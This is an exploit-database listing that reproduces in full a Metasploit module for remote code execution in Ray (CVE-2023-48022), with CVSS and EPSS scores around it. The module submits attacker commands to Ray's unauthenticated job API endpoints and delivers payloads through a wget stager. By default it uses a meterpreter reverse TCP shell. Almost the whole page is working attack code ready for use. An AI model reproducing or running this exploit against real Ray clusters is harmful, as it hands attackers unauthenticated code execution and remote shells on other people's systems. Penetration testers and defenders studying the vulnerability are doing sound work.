Lucene search

K
zdtMetasploit1337DAY-ID-39734
HistoryAug 27, 2024 - 12:00 a.m.

Ray Agent Job Remote Code Execution Exploit

2024-08-2700:00:00
metasploit
0day.today
36
metasploit
ray
rce
endpoint
authentication
cve
exploit
linux
command
payload
stability
sideeffects
reliability

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.1

Confidence

Low

EPSS

0.717

Percentile

98.1%

This Metasploit modules demonstrates remote code execution in Ray via the agent job submission endpoint. This is intended functionality as Ray’s main purpose is executing arbitrary workloads. By default Ray has no authentication.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ray Agent Job RCE',
        'Description' => %q{
          RCE in Ray via the agent job submission endpoint.
          This is intended functionality as Ray's main purpose is executing arbitrary workloads.
          By default Ray has no authentication.
        },
        'Author' => [
          'sierrabearchell',                      # Vulnerability discovery
          'byt3bl33d3r <[emailΒ protected]>', # Python Metasploit module
          'Takahiro Yokoyama'                     # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2023-48022'],
          ['URL', 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'],
          ['URL', 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/']
        ],
        'CmdStagerFlavor' => %i[wget],
        'Payload' => {
          'DisableNops' => true
        },
        'Platform' => %w[linux],
        'Targets' => [
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ],
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
                'FETCH_COMMAND' => 'WGET',
                'MeterpreterTryToFork' => true
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2023-11-15',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8265),
      ]
    )
  end

  def get_job_data(cmd)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api/jobs/'),
      'data' => { 'entrypoint' => cmd }.to_json
    })
    unless res && res.code == 200
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'api/job_agent/jobs/'),
        'data' => { 'entrypoint' => cmd }.to_json
      })
    end
    return unless res && res.code == 200

    JSON.parse(res.body)
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api/version')
    })
    return Exploit::CheckCode::Unknown unless res && res.code == 200

    ray_version = res.get_json_document['ray_version']

    return Exploit::CheckCode::Unknown unless ray_version

    return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')

    @job_data = get_job_data('ls')
    return Exploit::CheckCode::Vulnerable unless @job_data.nil?

    Exploit::CheckCode::Appears
  end

  def exploit
    @job_data ||= get_job_data('ls')
    if @job_data
      print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'")
    end
    case target['Type']
    when :nix_cmd
      execute_command(payload.encoded)
    else
      execute_cmdstager({ flavor: :wget })
    end
  end

  def execute_command(cmd, _opts = {})
    get_job_data(cmd)
  end

end

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

8.1

Confidence

Low

EPSS

0.717

Percentile

98.1%